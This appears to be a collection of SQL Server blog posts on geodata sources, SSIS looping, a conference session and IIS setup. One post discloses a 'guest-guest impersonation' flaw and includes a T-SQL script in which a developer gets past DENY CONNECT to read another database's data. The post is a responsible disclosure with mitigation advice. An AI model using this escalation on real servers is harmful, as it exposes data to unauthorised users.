Addresses for geographical Data, ESRI-Shapefiles and other SQL Server geographical related stuff

SQL Server 2008 R2 Reporting Services supports the visualization of geographical data in 3 ways.

  • Datasets, based on the built-in .Net System-datatypes “geography” and “geometry”, which have been around since SQL Server 2008
  • via built-in maps – but only for the United States
  • via ESRI-Shapefiles, which one has to provide on his own

Now, where can you get those Shape-files?

Other, than in the USA where gathered data belongs to the people, with no cost (Census Bureau Geography), in other countries, such as in Germany, it is by far not easy, to even get such datat all.

In the following, I am collecting internet-sites, where one can find geographical data. I'd be happy to include more URLs, if you found a good one, to share.

Spatial Data at MIT

several links to other map-data, even outside US

free maps from around the world. political as well as physical, some even down to street-/building-level

Natural Earth

several maps of the world with borders and physical structure


maps of German "Wahlkreise", nice to play around with. They even include votes per area

various kinds of  datasets, also geographical, mainly German – mostly for a fee, but some is also free

Cities of the world database donated by

GeoLite Free Downloadable Databases

A shapefile of the TZ timezones of the world

Time Zone and Local Time - This service responds with the time zone and local time at the given latitude and longitude.




spatial datatype-extension for SQL Server 2005

Spatial Tools with Shapefile Uploader

Tools for importing ESRI-Shapefiles into SQL Server as well as for looking at the data


The other option to show geospatial data in Reports, is to just use plain geometry/geography data. Here are some resources that help in getting access to such and/or converting/”geocoding” data:

The Google Geocoding API

Rob Farley shows how you can geocode you address-data using bing-maps and powershell:

A nice walk-through in geocoding using SSIS and Google Geocoding API by Jeffrey Verheul:

Discussion on Mapping From City Name to Latitude and Longitude & Mapping From Latitude and Longitude to City with further links:



Further good articles concerning geographical data and SQL Server:

Creating your own SSRS map using Visio

Using Visio and SSRS Map Reports for Store Layouts etc.

Using ESRI ShapeFiles with SSI

For importing shape-files into SQL Server, see this blog-post at MSDN:

Achieve Spatial Data Support in SSIS:

Bridge The Gap between Bing and Google Maps using SSIS 

Heat Maps as Reports

Stacia Misner shows in her blog, how to include your maps in the Map-Gallery for the Map-Builder-Wizard:

If you are working with Polygons & Multpolygons, you should know how to check and correct an instance of geometry data for validity with .STValid() and .MakeValid() ad Jeffrey Verheul is showing is his post here:

Have fun with Reporting Services 2008 R2



Sarpedon Quality Lab

Integration Services: Looping & “continue on error”

Eine häufige Aufgabe bei der Arbeit mit Integration Services Paketen ist es, eine Routine in einer Schleife auszuführen.

Nehmen wir den konkreten Fall: ein For Each-Loop zum rekursiven Auslesen von Textdateien aus einer Verzeichnisstruktur und Verschieben an einen Zielort.

Wenn die Operation aufgrund von einer geöffneten Datei (z.B. der Log-Writer Prozess) fehlschlägt, schlägt damit der Task “Move file” fehl. Sodann der Container “For Each Loop”, und dann das gesamte Paket. Das ist das Standardverhalten: das Event “Error” wird propagiert.

Das sieht in etwa so aus (hier mit einen For Loop):


Man sieht trotz der versuchten “Fehlerbehandlung” in dem Script-Task “SCR-Fail” schlägt der Container fehl.

Das ist in diesem Fall aber nicht unbedingt das gewünschte Ergebnis.
Man möchte, das die Operation einfach mit der nächsten Datei fortfährt und eventuell liegengebliebene Dateien in einem späteren Durchlauf einfach holen.

Dafür muss man das propagieren des Fehlers auf Container-Ebene unterbinden. Die dafür extra vorhandene Systemvariable “Propagate” ist ausnahmsweise deswegen auch manuell änderbar. Allerdings gibt es diese nur in den Event Handlern.

Das heisst für den fehlschlagenen SQL-Task in diesem Beispiel ist ein EventHandler für “OnError” anzulegen. Dort findet man dann die besagte Variable und schaltet sie auf False



Das würde an sich schon genügen, um das Paket einfach weiterlaufen zu lassen.

Allerdings ist es in der Regel wünschenswert, im Anschluss eine bedingte Reaktion auf das erfolgreiche oder erfolglose Verschieben der Datei erfolgen zu lassen. In diesem Beispiel ein T-SQL-Schritt bei Erfolg, und der Script-Task “Fail” bei Misserfolg.

Da nun kein Fehler mehr propagiert wird, ist ein kleiner Kunstgriff vonnöten: Man definiert sich eine Variable, welche im Fehlerfall einen anderen Wert erhält und liest diese dann bei dem Precedence-Constraint zusätzlich mit aus.

Am einfachsten geht das mit dem im Fehlerfall ohnehin vorhandenen ErrorCode – innerhalb des EventHandler natürlich.

Dort leitet man den Wert der Systemvariable “ErrorCode” einfach in seine eigens zuvor angelegte User-Variable um:

Dts.Variables("User::ErrorCode").Value = Dts.Variables("System::ErrorCode").Value

Im ControlFlow wird dann ein “OnCompletion” – Precedence Constraint verwendet, und zusätzlich die Variable in der Expression "@[User::ErrorCode] != 0" ausgewertet

Das gewünschte Ergebnis verhält sich dann so:


Der Fehler im Task wird abgehandelt, und die Arbeit wird fortgesetzt.


happy coding :)


Andreas Wolter


Sarpedon Quality Lab

SQLCon Session “Anspruchsvollere Berichte mit Reporting Services 2008”

Auf der diesjährigen SQLCon in Mainz hielt ich die Session Anspruchsvollere Berichte mit Reporting Services 2008.


Themen waren:


–Mehrere Gruppen auf einer Achse
–Static Header – wie geht das jetzt?
–Listen (gruppieren)



–Dynamisches Wachstum
–Trendlines einbauen, Pareto-Charts
–Multiple Charts




–Varianten und Customizing



–Charts und Gauges innerhalb von Tablix (Microcharts)


Weitere „Angenehmlichkeiten“

–Felder in Page Header & Footer

Hinweise auf Weitere interessante Neuerungen

Ausblick SQL Server 2008 R2

–Map Control
–Componentizing Reports



bis zum Nächsten mal,


Andreas Wolter


Sarpedon Quality Lab

Security-issue: guest-guest impersonation

Almost a year ago I discovered an issue with SQL Server (all Versions from 2005 – 2008 R2, haven't tested 2000) regarding the usage of the guest-account and impersonation.

It also was presented by Ralf Dietrich and me at the SQL Server PASS Summit 2009 in Seattle where we informed Microsoft about it. - Thanks to Jack Richins from Microsoft for helping me find the root cause. (MSDN-blog post)

Unfortunately, a fix hasn’t been provided for SQL Server yet. As I was informed it will only be fixed in the next major version, Codename “Denali”. Here is the Connect-Item:

Recently I demonstrated this technique again at the SQLCon in Mainz/Germany and now feel that I should blog about this.


This issue applies in a couple of scenarios, a more common of which I want to show here.


One scenario is, that sometimes or even often, developers, whether external or not, are given excessive rights in a certain database – on the same Server, where other databases exists, which may contain “public” data. But “public” maybe only for internal usage and not for external developers.

This is accomplished the following way: the database, let’s call it “InternalPublicData” will have the guest account enabled, and guest has permissions to see whatever is of interest for internal stuff.

In order to prevent access to this database for a certain Login, a database-user will be explicitly created in this database, so the Login does not match to guest and will be denied any resources in this database. One could even deny Connect-permission to the database, to secure it even more.

But this doesn’t help either, as you will see.

Also there is the database where the developer will have full permissions so he can work in his database and do anything inside. He might be dbo or member of the db_owner-role. (Unfortunately quite common because of the restrictions when using db_ddladmin etc.)

And now the trouble begins: The developer, let's call him “Dev0” cannot successfully connect to the InternalPublicData-database and act as guest there. But what he can do is the following: he can enable guest in his very own database.

Doing that, he can impersonate his local guest and then, not being “Dev0” any more, go to the InternalPublicData-database and successfully connect.

At that stage, he already has all permissions that the remote guest-account already has directly attached to it. But that’s not all. He can then do a second impersonate and gain role-memberships of the guest at the InternalPublicData-database!

No "Deny" for Dev0 can prevent that!


As a second option, he could, with permissions of creating a “User without Login“, impersonate that User and use it to jump to other databases where guest-is active…


The following is a script to demonstrate:

    WITH PASSWORD = 'Pa$$w0rd'

/* setup DBs*/
create database InternalPublicData;
create database DevelopmentDB;

use InternalPublicData;
grant connect to guest;

create table t1(c1 int)
insert into t1 values(1)

create table t2(c1 int)
insert into t2 values(2)

ON dbo.t1
TO guest    -- and only guest

exec sp_addrolemember 'db_datareader', 'guest'    -- just to point out the fact that these guest-accounts are actually different even further

CREATE USER Dev0 FOR LOGIN Dev0    -- no memberships, so denied everything and not matching to guest automatically

DENY CONNECT TO Dev0    -- to make SURE!

-- DB 2
use DevelopmentDB;


EXEC sp_addrolemember N'db_owner', N'Dev0'


/* Setup finish */

/* Session as Dev0 */


-- Who and Where am I
    , DB_NAME() AS Current_Database

use InternalPublicData;    -- not possible with Deny Connect

SELECT * FROM t1    -- with no Deny connect he gets denied here

execute as user = 'guest';        -- he can NOT do this at the remote DB (good so far)

-- Part One:

-- go back
USE DevelopmentDB

execute as user = 'guest';        -- not active

grant connect to guest;    -- but as a "Dev" with excessive permissions he can do what he wants
exec sp_addrolemember 'db_datawriter', 'guest'    -- just so that one can differentiate the guest accounts easier

execute as user = 'guest';        -- now we are in the game

-- Who and Where am I
    , USER_NAME()    AS DBUser
    , DB_NAME() AS Current_Database

select * from sys.user_token;    -- now he became guest in DevelopmentDB for real

-- End of Part One

-- Part Two: using guest for executing as guest

USE InternalPublicData;        -- we connected as guest - no Deny for Dev0 Applying!!

    , USER_NAME()    AS DBUser
    , DB_NAME() AS Current_Database
select * from sys.user_token;    -- he became guest in the remote-DB

SELECT * FROM dbo.t1        -- permissions at User(guest)-Level already working!

SELECT * FROM dbo.t2        -- not working because permission for role not applying

-- BUT: switch to InternalPublicData guest explicitely
execute as user = 'guest';        --NOW "Dev0" can do it in the Target-DB

    , USER_NAME()    AS DBUser
    , DB_NAME() AS Current_Database
select * from sys.user_token;    -- he became guest with group-membership in Target-DB

SELECT * FROM dbo.t2            -- can now also read datathrough role-membership

-- End of Part Two: using guest for executing as guest
/* back off step by step */

USE InternalPublicData

USE DevelopmentDB


USE InternalPublicData

/* Finished */

USE master;
DROP DATABASE InternalPublicData;


There is just one option to be sure that your system is safe from developers: don’t mix production with development – not even on server-level!

This should be absolutely clear, but I’ll repeat that, as long as I see mixed environments at customers' sites. Unfortunately, this is very common.

And secondly: never use the guest account for data that is not really supposed for everyone.

Reporting Services 2005 on Windows Server 2008 (+ Vista) or Windows 2008 R2 (+ Windows 7) - IIS configuration

Many still use SQL Server/Reporting Services 2005 although sometimes alread on Windows Server 2008 / Vista / Windows 7.

I absolutely do recommend upgrading to SQL Server 2008. There are many advantages in the combination - be it security or performance (Security, Performance, No need for IIS) - but if you can't uprade right now, you do need to install IIS for Reporting Services 2005 to run.

I have seen recommendations (even on a Microsoft blog) where they tell you to install EVERY Role Service for IIS - but that is untrue and against basic security principles.

I always always recommend "install as little as possible, but just as much as required".

You do not need an FTP-Server to run Reporting Services! - Natural to most. But when it comes to less known features like, CGI , SSI, Tracing..?.. most aren't so sure.

So here is the definite list of required role services for IIS. I tried to leave of everything I could, and this turned out:


Web Server
  Common HTTP Features
     Static Content
     Default Document
     HTTP Errors
     HTTP Redirection
  Application Development
     .NET Extensibility
     ISAPI Extensions
     ISAPI Filters
  Health and Diagnostics
     HTTP Logging
     Request Monitor
     Windows Authentication
     Request Filtering
     Static Content Compression
  Management Tools
     IIS Management Console
     IIS 6 Management Compatibility
     IIS 6 Metabase Compatibility
     IIS 6 WMI Compatibility
     IIS 6 Scripting Tools
     IIS 6 Management Console


I also attach a cmd-file. This file will install all the required packages by itself. You do not need to don any IIS Installation beforehand. It's using the new Package Manager available on Windows Server 2008. Just remove the .txt after you checked it out ;-

If You are using Windows Server 2008 R2/Windows 7 with IIS 7,5, Package Manager is deprecated. Instead use Deployment Image Servicing and Management as described here:

I also prepared a file using DISM, which you can download here.

For Some reason though the Packetmanager installs "Directory Browsing, which is NOT required (bull***) - you should remove it manually. This seems to be a bug with Package Manager.

At the end it should look like this:
IIS on Windows Server 2008 for Reporting Servives 2005


 IIS will be properly detected (and we know for sure, that "Directory Browsing" is not a requirement"):



There is still something however:

After you installed and navigate to http://YourServername/Reports

You will get an error: "unable to connect to remote server"

when checking the Logfile  "ReportServerWebApp" it says:


w3wp!ui!7!22.10.2008-10:24:47:: e ERROR: Unable to connect to the remote server
w3wp!ui!7!22.10.2008-10:24:47:: e ERROR: HTTP status code --> 500
System.Net.WebException: Unable to connect to the remote server ---> System.Net.Sockets.SocketException: No connection could be made because the target machine actively refused it
   at System.Net.Sockets.Socket.DoConnect(EndPoint endPointSnapshot, SocketAddress socketAddress)
   at System.Net.Sockets.Socket.InternalConnect(EndPoint remoteEP)
   at System.Net.ServicePoint.ConnectSocketInternal(Boolean connectFailure, Socket s4, Socket s6, Socket& socket, IPAddress& address, ConnectSocketState state, IAsyncResult asyncResult, Int32 timeout, Exception& exception)
   --- End of inner exception stack trace ---



In IIS 7 Manager, highlight the ReportServer application (Not "Reports")

go to Handler Mappings, click "Edit Feature Permissions" in the "Actions Pane", and enable "Script and Execute".



You are all set - it should be running just fine now.

Everything described here also applies for running Reporting Services 2005 on Windows Vista (SP1).

Download to IIS 7 Setup-File using Package Manager (rename to .cmd or .bat)

Download to IIS 7.5 Setup-File using DISM (rename to .cmd or .bat)


I also found a nice explaination of the IIS-Setup here:  


Andreas Wolter Training & Consulting